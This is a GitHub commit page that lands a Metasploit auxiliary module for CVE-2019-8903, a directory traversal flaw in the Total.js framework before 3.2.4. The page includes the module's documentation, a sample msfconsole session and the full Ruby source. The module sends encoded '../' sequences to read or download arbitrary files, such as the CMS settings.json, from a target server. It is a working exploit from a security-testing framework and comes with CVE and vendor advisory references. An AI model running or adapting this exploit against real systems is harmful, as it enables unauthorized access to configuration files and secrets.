Skip to content
Permalink
Browse files

Land #11547, Add Total.js Directory Traversal module

  • Loading branch information...
wchen-r7 committed Mar 12, 2019
2 parents 996c406 + 8989ee9 commit 926d5842a292c23eddf43d501a725cefd91bd0b9
@@ -0,0 +1,60 @@
## Description

This module check and exploits a Directory Traversal vulnerability in Total.js framework < 3.2.4 (CVE-2019-8903). Here is a list of accepted extensions: flac, jpg, jpeg, png, gif, ico, js, css, txt, xml, woff, woff2, otf, ttf, eot, svg, zip, rar, pdf, docx, xlsx, doc, xls, html, htm, appcache, manifest, map, ogv, ogg, mp4, mp3, webp, webm, swf, package, json, md, m4v, jsx, heif, heic.

## Vulnerable Application

Affecting total.js package, versions:

* >=2.1.0 <2.1.1
* >=2.2.0 <2.2.1
* >=2.3.0 <2.3.1
* >=2.4.0 <2.4.1
* >=2.5.0 <2.5.1
* >=2.6.0 <2.6.3
* >=2.7.0 <2.7.1
* >=2.8.0 <2.8.1
* >=2.9.0 <2.9.5
* >=3.0.0 <3.0.1
* >=3.1.0 <3.1.1
* >=3.2.0 <3.2.4

## Verification Steps

1. On a Node v8 environment do: `npm install total.js@3.2.3`
2. Install an app on top of the Total.js framework, something like [Total.js CMS](https://github.com/totaljs/cms)
* `git clone https://github.com/totaljs/cms.git`
* `cd cms && npm install`
3. Start `msfconsole`
4. `use auxiliary/scanner/http/totaljs_traversal`
5. `set RHOST <IP>`
6. `set RPORT <PORT>`
7. `run`
8. Verify you get Total.js version if the target is vulnerable!

## Options

* **TARGETURI**: Path to Total.js App installation (“/” is the default)
* **DEPTH**: Traversal depth (“1” is the default)
* **FILE**: File to obtain (“databases/settings.json” is the default for Total.js CMS App)

## Scenario

### Tested on Total.js framework 3.2.0 and Total.js CMS 12.0.0

```
msf5 > use auxiliary/scanner/http/totaljs_traversal
msf5 auxiliary(scanner/http/totaljs_traversal) > set RHOST 192.168.2.59
RHOST => 192.168.2.59
msf5 auxiliary(scanner/http/totaljs_traversal) > set RPORT 8320
RPORT => 8320
msf5 auxiliary(scanner/http/totaljs_traversal) > run
[*] Running module against 192.168.2.59
[*] Total.js version is: ^3.2.0
[*] App name: CMS
[*] App description: A simple and powerful CMS solution written in Total.js / Node.js.
[*] App version: 12.0.0
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/http/totaljs_traversal) >
```
@@ -0,0 +1,151 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

# Check and exploit Total.js Directory Traversal (CVE-2019-8903)
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Total.js prior to 3.2.4 Directory Traversal',
'Description' => %q(
This module check and exploits a directory traversal vulnerability in Total.js prior to 3.2.4.
Here is a list of accepted extensions: flac, jpg, jpeg, png, gif, ico, js, css, txt, xml,
woff, woff2, otf, ttf, eot, svg, zip, rar, pdf, docx, xlsx, doc, xls, html, htm, appcache,
manifest, map, ogv, ogg, mp4, mp3, webp, webm, swf, package, json, md, m4v, jsx, heif, heic
),
'Author' =>
[
'Riccardo Krauter', # Discovery
'Fabio Cogno' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2019-8903'],
['CWE', '22'],
['URL', 'https://blog.totaljs.com/blogs/news/20190213-a-critical-security-fix/'],
['URL', 'https://snyk.io/vuln/SNYK-JS-TOTALJS-173710']
],
'Privileged' => false,
'DisclosureDate' => 'Feb 18 2019',
'Actions' =>
[
['CHECK', { 'Description' => 'Check if the target is vulnerable' }],
['READ', { 'Description' => 'Attempt to print file content' }],
['DOWNLOAD', { 'Description' => 'Attempt to download a file' }]
],
'DefaultAction' => 'CHECK'))

register_options(
[
OptString.new('TARGETURI', [true, 'Path to Total.js App installation', '/']),
OptInt.new('DEPTH', [true, 'Traversal depth', 1]),
OptString.new('FILE', [true, 'File to obtain', 'databases/settings.json'])
]
)
end

def check_ext
extensions = %w[
flac jpg jpeg png gif ico js css txt xml
woff woff2 otf ttf eot svg zip rar pdf
docx xlsx doc xls html htm appcache
manifest map ogv ogg mp4 mp3 webp webm
swf package json md m4v jsx heif heic
]

ext = datastore['FILE'].split('.').last

unless extensions.include? ext
print_warning "Extension #{ext} is not supported by the HTTP static route of the framework"
end
end

def check
uri = normalize_uri(target_uri.path) + '%2e%2e%2fpackage.json'
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)
if res && res.code == 200
json = res.get_json_document
if json.empty? || !json['dependencies']['total.js']
return Exploit::CheckCode::Safe
else
print_status("Total.js version is: #{json['dependencies']['total.js']}")
print_status("App name: #{json['name']}")
print_status("App description: #{json['description']}")
print_status("App version: #{json['version']}")
return Exploit::CheckCode::Vulnerable
end
elsif res && res.headers['X-Powered-By'].to_s.downcase.include?('total.js')
print_status('Target appear to be vulnerable!')
print_status("X-Powered-By: #{res.headers['X-Powered-By']}")
return Exploit::CheckCode::Detected
else
vprint_warning('No response')
return Exploit::CheckCode::Unknown
end
end

def read
check_ext
traverse = '%2e%2e%2f' * datastore['DEPTH']
uri = normalize_uri(target_uri.path) + traverse + datastore['FILE']

res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)
unless res
fail_with(Failure::Unreachable, 'Connection failed')
end
if res.code != 200
print_error("Unable to read '#{datastore['FILE']}', possibly because:")
print_error("\t1. File does not exist.")
print_error("\t2. No permission.")
return
end
print_status("Getting #{datastore['FILE']}...")
print_line(res.body)
end

def download
check_ext
traverse = '%2e%2e%2f' * datastore['DEPTH']
uri = normalize_uri(target_uri.path) + traverse + datastore['FILE']

res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)
unless res
fail_with(Failure::Unreachable, 'Connection failed')
end
if res.code != 200
print_error("Unable to read '#{datastore['FILE']}', possibly because:")
print_error("\t1. File does not exist.")
print_error("\t2. No permission.")
return
end
fname = datastore['FILE'].split('/')[-1].chop
ctype = res.headers['Content-Type'].split(';')
loot = store_loot('lfi.data', ctype[0], rhost, res.body, fname)
print_good("File #{fname} downloaded to: #{loot}")
end

def run
case action.name
when 'CHECK'
check
when 'READ'
read
when 'DOWNLOAD'
download
end
end
end

0 comments on commit 926d584

Please sign in to comment.
You can’t perform that action at this time.
You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session.